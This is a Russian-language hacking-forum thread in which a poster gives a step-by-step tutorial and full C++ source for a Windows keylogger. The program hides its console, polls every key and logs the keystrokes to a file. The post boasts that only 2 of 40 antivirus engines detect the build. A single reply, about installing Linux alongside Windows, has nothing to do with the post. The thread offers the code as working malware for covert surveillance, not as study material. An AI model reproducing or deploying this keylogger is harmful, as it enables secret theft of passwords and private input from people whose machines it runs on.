• Для просмотра содержимого форума - вам необходимо пройти процедуру регистрации.

KeyLogger`а под Windows на С++

  • Автор темы ygroza
  • Дата начала
  • Ответы 3
  • Просмотры 1K

ygroza

Матрос
Куратор
Регистрация
8 Июн 2020
Сообщения
113
Реакции
58
Сегодня разбираем написание простого KeyLogger`а под Windows на С++.


Инклудим библиотеки и включаем пространство имен std:

#include <iostream>

#include <windows.h>

using namespace std;
Пишем протип функции для сохранения нажатых клавиш в файл:

int save(int _key, char *file);
Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:

int main() {
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i &lt;= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
save(i, "log.txt");
}
}
}
return 0;
}
Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:

int save(int _key, char *file) {

cout &lt;&lt; _key &lt;&lt; endl;

Sleep(10);

FILE *OUTPUT_FILE;

OUTPUT_FILE = fopen(file, "a+");


if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

else if (_key == VK_BACK)

fprintf(OUTPUT_FILE, "%s", "[BACK]");

else if (_key == VK_LBUTTON)

fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");

else if (_key == VK_RETURN)

fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");

else if (_key == VK_ESCAPE)

fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");

else

fprintf(OUTPUT_FILE, "%s", &amp;_key);

fclose(OUTPUT_FILE);

return 0;

}
Готово)
</windows.h></iostream>

По детектам после билда 2/40
 
Не видишь скрытое содержимое? Приобретай премиум доступ для просмотра скрытого контента.
Регистрация
22 Апр 2023
Сообщения
2
Реакции
0
Лично я столкнулся с установкой Linux в качестве второй системы в паре с Windows 8.1 x64/ буквально вчера вечером. До этого никаких дел с линуксом не имел, но ОЧЕНЬ хотел попробовать Дистрибутив использовал лайв-сд, так что была возможность консультироваться в процессе установки. Интересно то, что раздел создавался на том же томе, где стоит винда. Откусывал нагорячую 50 гб, обе системы как результат работают стабильно и без нареканий. Разумеется, перед этой операцией необходимо выполнить дефрагментацию раздела, часть которого уйдёт под Linux.
 
Сверху